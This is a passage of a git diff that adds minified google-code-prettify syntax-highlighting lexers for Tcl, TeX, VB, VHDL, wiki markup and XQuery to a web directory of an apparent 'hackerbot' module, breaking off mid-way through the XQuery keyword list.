+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[ \n\r\t\v\f\0]+/,null," \n\r\t\v\f\x00"],["str",/^"(?:[^"\\]|(?:\\.)|(?:\\\((?:[^"\\)]|\\.)*\)))*"/,null,'"']],[["lit",/^(?:(?:0x[\da-fA-F][\da-fA-F_]*\.[\da-fA-F][\da-fA-F_]*[pP]?)|(?:\d[\d_]*\.\d[\d_]*[eE]?))[+-]?\d[\d_]*/,null],["lit",/^-?(?:(?:0(?:(?:b[01][01_]*)|(?:o[0-7][0-7_]*)|(?:x[\da-fA-F][\da-fA-F_]*)))|(?:\d[\d_]*))/,null],["lit",/^(?:true|false|nil)\b/,null],["kwd",/^\b(?:__COLUMN__|__FILE__|__FUNCTION__|__LINE__|#available|#else|#elseif|#endif|#if|#line|arch|arm|arm64|associativity|as|break|case|catch|class|continue|convenience|default|defer|deinit|didSet|do|dynamic|dynamicType|else|enum|extension|fallthrough|final|for|func|get|guard|import|indirect|infix|init|inout|internal|i386|if|in|iOS|iOSApplicationExtension|is|lazy|left|let|mutating|none|nonmutating|operator|optional|OSX|OSXApplicationExtension|override|postfix|precedence|prefix|private|protocol|Protocol|public|required|rethrows|return|right|safe|self|set|static|struct|subscript|super|switch|throw|try|Type|typealias|unowned|unsafe|var|weak|watchOS|while|willSet|x86_64)\b/,
+null],["com",/^\/\/.*?[\n\r]/,null],["com",/^\/\*[\s\S]*?(?:\*\/|$)/,null],["pun",/^<<=|<=|<<|>>=|>=|>>|===|==|\.\.\.|&&=|\.\.<|!==|!=|&=|~=|~|\(|\)|\[|\]|{|}|@|#|;|\.|,|:|\|\|=|\?\?|\|\||&&|&\*|&\+|&-|&=|\+=|-=|\/=|\*=|\^=|%=|\|=|->|`|==|\+\+|--|\/|\+|!|\*|%|<|>|&|\||\^|\?|=|-|_/,null],["typ",/^\b(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/,null]]),["swift"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-tcl.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-tcl.js
new file mode 100644
index 000000000..1d75c3f04
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-tcl.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2012 Pyrios
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\{+/,null,"{"],["clo",/^\}+/,null,"}"],["com",/^#[^\r\n]*/,null,"#"],["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)/,null,'"']],[["kwd",/^(?:after|append|apply|array|break|case|catch|continue|error|eval|exec|exit|expr|for|foreach|if|incr|info|proc|return|set|switch|trace|uplevel|upvar|while)\b/,null],["lit",/^[+\-]?(?:[0#]x[0-9a-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[ed][+\-]?\d+)?)/i],
+["lit",/^\'(?:-*(?:\w|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?)?/],["pln",/^-*(?:[a-z_]|\\[\x21-\x7e])(?:[\w-]*|\\[\x21-\x7e])[=!?]?/i],["pun",/^[^\w\t\n\r \xA0()\"\\\';]+/]]),["tcl"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-tex.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-tex.js
new file mode 100644
index 000000000..efc758cd9
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-tex.js
@@ -0,0 +1,17 @@
+/*
+
+ Copyright (C) 2011 Martin S.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["com",/^%[^\r\n]*/,null,"%"]],[["kwd",/^\\[a-zA-Z@]+/],["kwd",/^\\./],["typ",/^[$&]/],["lit",/[+-]?(?:\.\d+|\d+(?:\.\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],["pun",/^[{}()\[\]=]+/]]),["latex","tex"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vb.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vb.js
new file mode 100644
index 000000000..e34086fec
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vb.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2009 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0\u2028\u2029]+/,null,"\t\n\r \u00a0\u2028\u2029"],["str",/^(?:[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})(?:[\"\u201C\u201D]c|$)|[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})*(?:[\"\u201C\u201D]|$))/i,null,'"\u201c\u201d'],["com",/^[\'\u2018\u2019](?:_(?:\r\n?|[^\r]?)|[^\r\n_\u2028\u2029])*/,null,"'\u2018\u2019"]],[["kwd",/^(?:AddHandler|AddressOf|Alias|And|AndAlso|Ansi|As|Assembly|Auto|Boolean|ByRef|Byte|ByVal|Call|Case|Catch|CBool|CByte|CChar|CDate|CDbl|CDec|Char|CInt|Class|CLng|CObj|Const|CShort|CSng|CStr|CType|Date|Decimal|Declare|Default|Delegate|Dim|DirectCast|Do|Double|Each|Else|ElseIf|End|EndIf|Enum|Erase|Error|Event|Exit|Finally|For|Friend|Function|Get|GetType|GoSub|GoTo|Handles|If|Implements|Imports|In|Inherits|Integer|Interface|Is|Let|Lib|Like|Long|Loop|Me|Mod|Module|MustInherit|MustOverride|MyBase|MyClass|Namespace|New|Next|Not|NotInheritable|NotOverridable|Object|On|Option|Optional|Or|OrElse|Overloads|Overridable|Overrides|ParamArray|Preserve|Private|Property|Protected|Public|RaiseEvent|ReadOnly|ReDim|RemoveHandler|Resume|Return|Select|Set|Shadows|Shared|Short|Single|Static|Step|Stop|String|Structure|Sub|SyncLock|Then|Throw|To|Try|TypeOf|Unicode|Until|Variant|Wend|When|While|With|WithEvents|WriteOnly|Xor|EndIf|GoSub|Let|Variant|Wend)\b/i,
+null],["com",/^REM\b[^\r\n\u2028\u2029]*/i],["lit",/^(?:True\b|False\b|Nothing\b|\d+(?:E[+\-]?\d+[FRD]?|[FRDSIL])?|(?:&H[0-9A-F]+|&O[0-7]+)[SIL]?|\d*\.\d+(?:E[+\-]?\d+)?[FRD]?|#\s+(?:\d+[\-\/]\d+[\-\/]\d+(?:\s+\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)?|\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)\s+#)/i],["pln",/^(?:(?:[a-z]|_\w)\w*(?:\[[%&@!#]+\])?|\[(?:[a-z]|_\w)\w*\])/i],["pun",/^[^\w\t\n\r \"\'\[\]\xA0\u2018\u2019\u201C\u201D\u2028\u2029]+/],["pun",/^(?:\[|\])/]]),["vb",
+"vbs"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vbs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vbs.js
new file mode 100644
index 000000000..e34086fec
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vbs.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2009 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0\u2028\u2029]+/,null,"\t\n\r \u00a0\u2028\u2029"],["str",/^(?:[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})(?:[\"\u201C\u201D]c|$)|[\"\u201C\u201D](?:[^\"\u201C\u201D]|[\"\u201C\u201D]{2})*(?:[\"\u201C\u201D]|$))/i,null,'"\u201c\u201d'],["com",/^[\'\u2018\u2019](?:_(?:\r\n?|[^\r]?)|[^\r\n_\u2028\u2029])*/,null,"'\u2018\u2019"]],[["kwd",/^(?:AddHandler|AddressOf|Alias|And|AndAlso|Ansi|As|Assembly|Auto|Boolean|ByRef|Byte|ByVal|Call|Case|Catch|CBool|CByte|CChar|CDate|CDbl|CDec|Char|CInt|Class|CLng|CObj|Const|CShort|CSng|CStr|CType|Date|Decimal|Declare|Default|Delegate|Dim|DirectCast|Do|Double|Each|Else|ElseIf|End|EndIf|Enum|Erase|Error|Event|Exit|Finally|For|Friend|Function|Get|GetType|GoSub|GoTo|Handles|If|Implements|Imports|In|Inherits|Integer|Interface|Is|Let|Lib|Like|Long|Loop|Me|Mod|Module|MustInherit|MustOverride|MyBase|MyClass|Namespace|New|Next|Not|NotInheritable|NotOverridable|Object|On|Option|Optional|Or|OrElse|Overloads|Overridable|Overrides|ParamArray|Preserve|Private|Property|Protected|Public|RaiseEvent|ReadOnly|ReDim|RemoveHandler|Resume|Return|Select|Set|Shadows|Shared|Short|Single|Static|Step|Stop|String|Structure|Sub|SyncLock|Then|Throw|To|Try|TypeOf|Unicode|Until|Variant|Wend|When|While|With|WithEvents|WriteOnly|Xor|EndIf|GoSub|Let|Variant|Wend)\b/i,
+null],["com",/^REM\b[^\r\n\u2028\u2029]*/i],["lit",/^(?:True\b|False\b|Nothing\b|\d+(?:E[+\-]?\d+[FRD]?|[FRDSIL])?|(?:&H[0-9A-F]+|&O[0-7]+)[SIL]?|\d*\.\d+(?:E[+\-]?\d+)?[FRD]?|#\s+(?:\d+[\-\/]\d+[\-\/]\d+(?:\s+\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)?|\d+:\d+(?::\d+)?(\s*(?:AM|PM))?)\s+#)/i],["pln",/^(?:(?:[a-z]|_\w)\w*(?:\[[%&@!#]+\])?|\[(?:[a-z]|_\w)\w*\])/i],["pun",/^[^\w\t\n\r \"\'\[\]\xA0\u2018\u2019\u201C\u201D\u2028\u2029]+/],["pun",/^(?:\[|\])/]]),["vb",
+"vbs"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vhd.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vhd.js
new file mode 100644
index 000000000..f67a4a390
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vhd.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2010 benoit@ryder.fr
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"]],[["str",/^(?:[BOX]?"(?:[^\"]|"")*"|'.')/i],["com",/^--[^\r\n]*/],["kwd",/^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\w-]|$)/i,
+null],["typ",/^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\w-]|$)/i,null],["typ",/^\'(?:ACTIVE|ASCENDING|BASE|DELAYED|DRIVING|DRIVING_VALUE|EVENT|HIGH|IMAGE|INSTANCE_NAME|LAST_ACTIVE|LAST_EVENT|LAST_VALUE|LEFT|LEFTOF|LENGTH|LOW|PATH_NAME|POS|PRED|QUIET|RANGE|REVERSE_RANGE|RIGHT|RIGHTOF|SIMPLE_NAME|STABLE|SUCC|TRANSACTION|VAL|VALUE)(?=[^\w-]|$)/i,null],["lit",/^\d+(?:_\d+)*(?:#[\w\\.]+#(?:[+\-]?\d+(?:_\d+)*)?|(?:\.\d+(?:_\d+)*)?(?:E[+\-]?\d+(?:_\d+)*)?)/i],
+["pln",/^(?:[a-z]\w*|\\[^\\]*\\)/i],["pun",/^[^\w\t\n\r \xA0\"\'][^\w\t\n\r \xA0\-\"\']*/]]),["vhdl","vhd"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vhdl.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vhdl.js
new file mode 100644
index 000000000..f67a4a390
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-vhdl.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2010 benoit@ryder.fr
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"]],[["str",/^(?:[BOX]?"(?:[^\"]|"")*"|'.')/i],["com",/^--[^\r\n]*/],["kwd",/^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\w-]|$)/i,
+null],["typ",/^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\w-]|$)/i,null],["typ",/^\'(?:ACTIVE|ASCENDING|BASE|DELAYED|DRIVING|DRIVING_VALUE|EVENT|HIGH|IMAGE|INSTANCE_NAME|LAST_ACTIVE|LAST_EVENT|LAST_VALUE|LEFT|LEFTOF|LENGTH|LOW|PATH_NAME|POS|PRED|QUIET|RANGE|REVERSE_RANGE|RIGHT|RIGHTOF|SIMPLE_NAME|STABLE|SUCC|TRANSACTION|VAL|VALUE)(?=[^\w-]|$)/i,null],["lit",/^\d+(?:_\d+)*(?:#[\w\\.]+#(?:[+\-]?\d+(?:_\d+)*)?|(?:\.\d+(?:_\d+)*)?(?:E[+\-]?\d+(?:_\d+)*)?)/i],
+["pln",/^(?:[a-z]\w*|\\[^\\]*\\)/i],["pun",/^[^\w\t\n\r \xA0\"\'][^\w\t\n\r \xA0\-\"\']*/]]),["vhdl","vhd"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-wiki.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-wiki.js
new file mode 100644
index 000000000..d03fccd2c
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-wiki.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2009 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t \xA0a-gi-z0-9]+/,null,"\t \u00a0abcdefgijklmnopqrstuvwxyz0123456789"],["pun",/^[=*~\^\[\]]+/,null,"=*~^[]"]],[["lang-wiki.meta",/(?:^^|\r\n?|\n)(#[a-z]+)\b/],["lit",/^(?:[A-Z][a-z][a-z0-9]+[A-Z][a-z][a-zA-Z0-9]+)\b/],["lang-",/^\{\{\{([\s\S]+?)\}\}\}/],["lang-",/^`([^\r\n`]+)`/],["str",/^https?:\/\/[^\/?#\s]*(?:\/[^?#\s]*)?(?:\?[^#\s]*)?(?:#\S*)?/i],["pln",/^(?:\r\n|[\s\S])[^#=*~^A-Zh\{`\[\r\n]*/]]),["wiki"]);
+PR.registerLangHandler(PR.createSimpleLexer([["kwd",/^#[a-z]+/i,null,"#"]],[]),["wiki.meta"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-xq.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-xq.js
new file mode 100644
index 000000000..a6d85372d
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-xq.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2011 Patrick Wied
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["var pln",/^\$[A-Za-z0-9_\-]+/,null,"$"]],[["pln",/^[\s=][<>][\s=]/],["lit",/^\@[\w-]+/],["tag",/^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],["com",/^\(:[\s\S]*?:\)/],["pln",/^[\/\{\};,\[\]\(\)]$/],["str",/^(?:\"(?:[^\"\\\{]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\\{]|\\[\s\S])*(?:\'|$))/,null,"\"'"],["kwd",/^(?:xquery|where|version|variable|union|typeswitch|treat|to|then|text|stable|sortby|some|self|schema|satisfies|returns|return|ref|processing-instruction|preceding-sibling|preceding|precedes|parent|only|of|node|namespace|module|let|item|intersect|instance|in|import|if|function|for|follows|following-sibling|following|external|except|every|else|element|descending|descendant-or-self|descendant|define|default|declare|comment|child|cast|case|before|attribute|assert|ascending|as|ancestor-or-self|ancestor|after|eq|order|by|or|and|schema-element|document-node|node|at)\b/],
+["typ",/^(?:xs:yearMonthDuration|xs:unsignedLong|xs:time|xs:string|xs:short|xs:QName|xs:Name|xs:long|xs:integer|xs:int|xs:gYearMonth|xs:gYear|xs:gMonthDay|xs:gDay|xs:float|xs:duration|xs:double|xs:decimal|xs:dayTimeDuration|xs:dateTime|xs:date|xs:byte|xs:boolean|xs:anyURI|xf:yearMonthDuration)\b/,null],["fun pln",/^(?:xp:dereference|xinc:node-expand|xinc:link-references|xinc:link-expand|xhtml:restructure|xhtml:clean|xhtml:add-lists|xdmp:zip-manifest|xdmp:zip-get|xdmp:zip-create|xdmp:xquery-version|xdmp:word-convert|xdmp:with-namespaces|xdmp:version|xdmp:value|xdmp:user-roles|xdmp:user-last-login|xdmp:user|xdmp:url-encode|xdmp:url-decode|xdmp:uri-is-file|xdmp:uri-format|xdmp:uri-content-type|xdmp:unquote|xdmp:unpath|xdmp:triggers-database|xdmp:trace|xdmp:to-json|xdmp:tidy|xdmp:subbinary|xdmp:strftime|xdmp:spawn-in|xdmp:spawn|xdmp:sleep|xdmp:shutdown|xdmp:set-session-field|xdmp:set-response-encoding|xdmp:set-response-content-type|xdmp:set-response-code|xdmp:set-request-time-limit|xdmp:set|xdmp:servers|xdmp:server-status|xdmp:server-name|xdmp:server|xdmp:security-database|xdmp:security-assert|xdmp:schema-database|xdmp:save|xdmp:role-roles|xdmp:role|xdmp:rethrow|xdmp:restart|xdmp:request-timestamp|xdmp:request-status|xdmp:request-cancel|xdmp:request|xdmp:redirect-response|xdmp:random|xdmp:quote|xdmp:query-trace|xdmp:query-meters|xdmp:product-edition|xdmp:privilege-roles|xdmp:privilege|xdmp:pretty-print|xdmp:powerpoint-convert|xdmp:platform|xdmp:permission|xdmp:pdf-convert|xdmp:path|xdmp:octal-to-integer|xdmp:node-uri|xdmp:node-replace|xdmp:node-kind|xdmp:node-insert-child|xdmp:node-insert-before|xdmp:node-insert-after|xdmp:node-delete|xdmp:node-database|xdmp:mul64|xdmp:modules-root|xdmp:modules-database|xdmp:merging|xdmp:merge-cancel|xdmp:merge|xdmp:md5|xdmp:logout|xdmp:login|xdmp:log-level|xdmp:log|xdmp:lock-release|xdmp:lock-acquire|xdmp:load|xdmp:invoke-in|xdmp:invoke|xdmp:integer-to-octal|xdmp:integer-to-hex|xdmp:http-put|xdmp:http-post|xdmp:http-options|xdmp:http-head|xdmp:http-get|xdmp:http-delete|xdmp:hosts|xdmp:host-status|xdmp:host-name|xdmp:host|xdmp:hex-to-integer|xdmp:hash64|xdmp:hash32|xdmp:has-privilege|xdmp:groups|xdmp:group-serves|xdmp:group-servers|xdmp:group-name|xdmp:group-hosts|xdmp:group|xdmp:get-session-field-names|xdmp:get-session-field|xdmp:get-response-encoding|xdmp:get-response-code|xdmp:get-request-username|xdmp:get-request-user|xdmp:get-request-url|xdmp:get-request-protocol|xdmp:get-request-path|xdmp:get-request-method|xdmp:get-request-header-names|xdmp:get-request-header|xdmp:get-request-field-names|xdmp:get-request-field-filename|xdmp:get-request-field-content-type|xdmp:get-request-field|xdmp:get-request-client-certificate|xdmp:get-request-client-address|xdmp:get-request-body|xdmp:get-current-user|xdmp:get-current-roles|xdmp:get|xdmp:function-name|xdmp:function-module|xdmp:function|xdmp:from-json|xdmp:forests|xdmp:forest-status|xdmp:forest-restore|xdmp:forest-restart|xdmp:forest-name|xdmp:forest-delete|xdmp:forest-databases|xdmp:forest-counts|xdmp:forest-clear|xdmp:forest-backup|xdmp:forest|xdmp:filesystem-file|xdmp:filesystem-directory|xdmp:exists|xdmp:excel-convert|xdmp:eval-in|xdmp:eval|xdmp:estimate|xdmp:email|xdmp:element-content-type|xdmp:elapsed-time|xdmp:document-set-quality|xdmp:document-set-property|xdmp:document-set-properties|xdmp:document-set-permissions|xdmp:document-set-collections|xdmp:document-remove-properties|xdmp:document-remove-permissions|xdmp:document-remove-collections|xdmp:document-properties|xdmp:document-locks|xdmp:document-load|xdmp:document-insert|xdmp:document-get-quality|xdmp:document-get-properties|xdmp:document-get-permissions|xdmp:document-get-collections|xdmp:document-get|xdmp:document-forest|xdmp:document-delete|xdmp:document-add-properties|xdmp:document-add-permissions|xdmp:document-add-collections|xdmp:directory-properties|xdmp:directory-locks|xdmp:directory-delete|xdmp:directory-create|xdmp:directory|xdmp:diacritic-less|xdmp:describe|xdmp:default-permissions|xdmp:default-collections|xdmp:databases|xdmp:database-restore-validate|xdmp:database-restore-status|xdmp:database-restore-cancel|xdmp:database-restore|xdmp:database-name|xdmp:database-forests|xdmp:database-backup-validate|xdmp:database-backup-status|xdmp:database-backup-purge|xdmp:database-backup-cancel|xdmp:database-backup|xdmp:database|xdmp:collection-properties|xdmp:collection-locks|xdmp:collection-delete|xdmp:collation-canonical-uri|xdmp:castable-as|xdmp:can-grant-roles|xdmp:base64-encode|xdmp:base64-decode|xdmp:architecture|xdmp:apply|xdmp:amp-roles|xdmp:amp|xdmp:add64|xdmp:add-response-header|xdmp:access|trgr:trigger-set-recursive|trgr:trigger-set-permissions|trgr:trigger-set-name|trgr:trigger-set-module|trgr:trigger-set-event|trgr:trigger-set-description|trgr:trigger-remove-permissions|trgr:trigger-module|trgr:trigger-get-permissions|trgr:trigger-enable|trgr:trigger-disable|trgr:trigger-database-online-event|trgr:trigger-data-event|trgr:trigger-add-permissions|trgr:remove-trigger|trgr:property-content|trgr:pre-commit|trgr:post-commit|trgr:get-trigger-by-id|trgr:get-trigger|trgr:document-scope|trgr:document-content|trgr:directory-scope|trgr:create-trigger|trgr:collection-scope|trgr:any-property-content|thsr:set-entry|thsr:remove-term|thsr:remove-synonym|thsr:remove-entry|thsr:query-lookup|thsr:lookup|thsr:load|thsr:insert|thsr:expand|thsr:add-synonym|spell:suggest-detailed|spell:suggest|spell:remove-word|spell:make-dictionary|spell:load|spell:levenshtein-distance|spell:is-correct|spell:insert|spell:double-metaphone|spell:add-word|sec:users-collection|sec:user-set-roles|sec:user-set-password|sec:user-set-name|sec:user-set-description|sec:user-set-default-permissions|sec:user-set-default-collections|sec:user-remove-roles|sec:user-privileges|sec:user-get-roles|sec:user-get-description|sec:user-get-default-permissions|sec:user-get-default-collections|sec:user-doc-permissions|sec:user-doc-collections|sec:user-add-roles|sec:unprotect-collection|sec:uid-for-name|sec:set-realm|sec:security-version|sec:security-namespace|sec:security-installed|sec:security-collection|sec:roles-collection|sec:role-set-roles|sec:role-set-name|sec:role-set-description|sec:role-set-default-permissions|sec:role-set-default-collections|sec:role-remove-roles|sec:role-privileges|sec:role-get-roles|sec:role-get-description|sec:role-get-default-permissions|sec:role-get-default-collections|sec:role-doc-permissions|sec:role-doc-collections|sec:role-add-roles|sec:remove-user|sec:remove-role-from-users|sec:remove-role-from-role|sec:remove-role-from-privileges|sec:remove-role-from-amps|sec:remove-role|sec:remove-privilege|sec:remove-amp|sec:protect-collection|sec:privileges-collection|sec:privilege-set-roles|sec:privilege-set-name|sec:privilege-remove-roles|sec:privilege-get-roles|sec:privilege-add-roles|sec:priv-doc-permissions|sec:priv-doc-collections|sec:get-user-names|sec:get-unique-elem-id|sec:get-role-names|sec:get-role-ids|sec:get-privilege|sec:get-distinct-permissions|sec:get-collection|sec:get-amp|sec:create-user-with-role|sec:create-user|sec:create-role|sec:create-privilege|sec:create-amp|sec:collections-collection|sec:collection-set-permissions|sec:collection-remove-permissions|sec:collection-get-permissions|sec:collection-add-permissions|sec:check-admin|sec:amps-collection|sec:amp-set-roles|sec:amp-remove-roles|sec:amp-get-roles|sec:amp-doc-permissions|sec:amp-doc-collections|sec:amp-add-roles|search:unparse|search:suggest|search:snippet|search:search|search:resolve-nodes|search:resolve|search:remove-constraint|search:parse|search:get-default-options|search:estimate|search:check-options|prof:value|prof:reset|prof:report|prof:invoke|prof:eval|prof:enable|prof:disable|prof:allowed|ppt:clean|pki:template-set-request|pki:template-set-name|pki:template-set-key-type|pki:template-set-key-options|pki:template-set-description|pki:template-in-use|pki:template-get-version|pki:template-get-request|pki:template-get-name|pki:template-get-key-type|pki:template-get-key-options|pki:template-get-id|pki:template-get-description|pki:need-certificate|pki:is-temporary|pki:insert-trusted-certificates|pki:insert-template|pki:insert-signed-certificates|pki:insert-certificate-revocation-list|pki:get-trusted-certificate-ids|pki:get-template-ids|pki:get-template-certificate-authority|pki:get-template-by-name|pki:get-template|pki:get-pending-certificate-requests-xml|pki:get-pending-certificate-requests-pem|pki:get-pending-certificate-request|pki:get-certificates-for-template-xml|pki:get-certificates-for-template|pki:get-certificates|pki:get-certificate-xml|pki:get-certificate-pem|pki:get-certificate|pki:generate-temporary-certificate-if-necessary|pki:generate-temporary-certificate|pki:generate-template-certificate-authority|pki:generate-certificate-request|pki:delete-template|pki:delete-certificate|pki:create-template|pdf:make-toc|pdf:insert-toc-headers|pdf:get-toc|pdf:clean|p:status-transition|p:state-transition|p:remove|p:pipelines|p:insert|p:get-by-id|p:get|p:execute|p:create|p:condition|p:collection|p:action|ooxml:runs-merge|ooxml:package-uris|ooxml:package-parts-insert|ooxml:package-parts|msword:clean|mcgm:polygon|mcgm:point|mcgm:geospatial-query-from-elements|mcgm:geospatial-query|mcgm:circle|math:tanh|math:tan|math:sqrt|math:sinh|math:sin|math:pow|math:modf|math:l